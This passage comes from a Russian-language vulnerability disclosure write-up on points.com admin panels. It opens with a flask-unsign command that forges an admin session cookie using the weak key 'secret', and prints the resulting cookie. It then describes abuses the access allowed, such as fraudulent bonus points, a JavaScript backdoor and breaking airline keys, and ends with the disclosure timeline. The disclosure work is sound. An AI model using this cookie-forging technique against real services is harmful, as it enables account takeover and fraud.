flask-unsign -s -S "secret" -c "{'_csrf_token': 'bb2cf0e85b20f13dcfebecb436c91b160f392fa2555961c23b3fcc67775edc50', '_fresh': True, '_id': 'a76abcdda16ed36f131df6e5f30c7e9cf142131ebcd4c0706b4c05ec720006daeaef804fcd925743954f10c8a5b3e10018216585157c88e6aedaa8fb42702dd3', '_user_id': '8547961e-b122-4b42-a124-4169cfc86a94', 'sid': 'bd2e7256bf1011eda2410242ac11000a', 'user': {'authenticationType': 'account', 'email': '<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="6f1c0e02180c1a1d1d162f08020e0603410c0002">[email protected]</a>', 'feature_flags': ['temp_resending_emails', 'v2_manual_bonus_page', 'v2_request_for_reimbursements'], 'groups': ['admin'], 'id': '8547961e-b122-4b42-a124-4169cfc86a94', 'mac_key': 'blLWTn1VyhIWNPoAVC2X9-Iqsqei7pEPkgXjxnhRepg=', 'mac_key_identifier': '8d261003b476497e8be4c2c077d69b5f', 'roles': [{'role': 'https://lcp.points.com/v1/roles/configeditor'}]}}"
Эта команда заново подписала наш куки ключом «secret». Мы получили следующий куки:
session=.eJy9U01r3DAU_C8-x1lJ1oe9UOgSegiUsrQhCZRg9PG0665tOZKcdgn5733eHAKFQLeHniw_zcwbzZOei9am6NscDjAW68IYZj2BWhhGPK2c9WDAGl5J21BDJfFVw7xmQohGUssqU3lrpVJKgLOCFBdF6yOkfbHOcQb86xzKaiW1sc5pKsFVEpWp8xKEr4hV0FhPOcMaIIZboog0-BFgFSOESKdBg68J99Y1TCheNYJ7SmythamAEkJrRqWoBRXK1jVIDU7r2hvOFGHOVYutOUF8dVMLrtA9lIYyVnJElZoyXnIq0YqtpW44MtIJbBwDxYQ02JBS1GWcEsaZthQbE43ARblYPxd6znsYc2d17sJ4c5xgObq1YR4zwmDQXY-VpIefdo7x-HEK3ZjTpQ0DbnvQeY7Q-l7vUrH-XmQYphazhNF146490RMCn1g76HHWfWvCOKd20jt4LUd4nCHl1oeI624wc0wwoKVUPFwUuxjm6aR8FcYUetikba8zgoeNG7pxwZyTz6Bte4DjklH_-e5mpLfH_fXdl23Y3F6x-6a8fkyP0Knp0_awu__xa9x_hWn34Y2Iw1jS8t2SXlE7JjHQynAleaOgNsAtw8ugnGyM8MiL6Hnx_3xaIWef85TWq1Vvp8u3LFdPdHWCriJoV4axPxYvF39NeiecMxS2p9pmmr7N0xRiPoerp6lM59P6f2LZOeUwQPx_HQcdD5DxOuOTeeosJBtG3-0gpnNUTAgH1IiwtF-G_Af_vRE-vLz8BnvIpoE.ZFDJgQ.Lld9KeetbZJ_KBeLI2KOHB7EnaA
Подставив этот куки, мы попробовали вернуться на веб-сайт «console.points.com» и увидели кучу новых возможностей. Мы вошли и получили полные административные привилегии!
Наше внимание сразу привлекла страница «Manual Bonus». Нажав на неё, мы поняли, что можем вручную добавлять бонусные баллы в любой программе на любой бонусный аккаунт. Джекпот!
Также мы могли получить доступ к веб-сайту «admin-loyaltywallet.points.com», нажав на кнопку «Loyalty Platform» на боковой панели. У этого веб-сайта имелись дополнительные функции, позволяющие нам запрашивать пользователей по имени, ID участника или адресу электронной почты и по другим параметрам:
В других вкладках можно было управлять конфигурацией и экспериментами:
Кроме того, у нас появилась возможность изменять курс обмена бонусов во вкладке Promos. Мы могли изменять бонусные программы, чтобы, например, обменивать 100 миллионов миль United на 1 милю Delta, или просто давать 1 миллион миль на каждый доллар, потраченный на определённую программу. После чего пользователи могли бы обменивать свои мили, что давало бы им почти бесконечные мили.
В рамках управления пользователями мы могли просматривать, обновлять или удалять аккаунты пользователей. Можно было видеть всю историю аккаунтов, связи и участие в программах.
На веб-сайте «console.points.com» нашлись ещё две интересные страницы — конечные точки Modules и Routes. Атакующий мог использовать их для добавления зловредного JavaScript на каждую страницу панели администратора. Если бы его не обнаружили, то это бы был очень удобный бэкдор, при котором JavaScript атакующего загружался бы на каждой странице веб-сайта администрирования.
Так как всё это были бонусные клиенты в продакшене, атакующий мог бы временно отключить все бонусные полёты, изменив пары ключей каждой авиакомпании в конечной точке Platform Partners. Перезаписывание MAC ID и MAC key поломало бы инфраструктуру, используемую авиакомпаниями для общения с points.com. То есть, клиенты не могли бы покупать билеты на мили авиакомпаний.
Стоит отметить, что эту панель администрирования создали для сотрудников points.com с целью управления бонусными программами на уровне авиакомпаний. Атакующий с таким уровнем доступа мог бы аннулировать учётные данные конкретной авиакомпании, которые она использует для обслуживания клиентов и доступа к API, отключив таким образом использование бонусных полётов для этой конкретной авиакомпании по всему миру, не говоря уже о доступе к информации об аккаунтах клиентов. Есть много интересных сценариев, в которых атакующий мог бы использовать этот доступ.
Мы сообщили об уязвимости, и команда points.com отреагировала почти мгновенно, несмотря на то, что письмо было отправлено в 3:26 по центральноамериканскому времени. Команда осознала важность отчёта и немедленно отключила веб-сайт «console.points.com».
Мы попытались обойти их исправление при помощи vhost hopping с IP исходного сервера, но нам не удалось. Сайт был полностью отключен и проблему вскоре устранили.
В заключение
В итоге найденные нами уязвимости позволяли получить доступ к информации о клиентах большого процента международных бонусных программ, переносить баллы от лица клиентов и иметь доступ к панели глобального администрирования. Мы сообщили о проблемах команде безопасности points.com, которая быстро пропатчила их и вместе с нами работала над этой публикацией.
Этот пост наряду с другими нашими исследованиями (захват дюжины TLD; удалённая разблокировка, поиск, а иногда и отключение более десятка автомобилей различных производителей) продолжает тему изучения серьёзных уязвимостей, при которых атакующий может скомпрометировать одну точку отказа с широкомасштабными последствиями.
Хроника публикации
- 8 марта 2023 года — отправлен отчёт о краже миль и раскрытии личной информации;
- 8 марта 2023 года — ответ от points.com с подтверждением проблемы;
- 9 марта 2023 года — отправлена дополнительная информация о возможности эскалации находок за 8 марта;
- 9 марта 2023 года — ответ от points.com, сайт выведен офлайн;
- 29 марта 2023 года — получено письмо от points.com о полном решении проблемы;
- 29 марта 2023 года — отправлено письмо с подтверждением полного решения проблемы;
- 29 апреля 2023 года — отправлен отчёт о возможности обхода авторизации United;
- 29 апреля 2023 года — ответ от points.com, сайт выведен офлайн;
- 2 мая 2023 года — отправлен отчёт об утечке учётных данных Virgin;
- 2 мая 2023 года — ответ от points.com, конечная точка удалена;
- 2 мая 2023 года — отправлен отчёт о слабом куки сессии Flask;
- 2 мая 2023 года — ответ от points.com, сайт выведен офлайн;
- 3 августа 2023 года — публикация.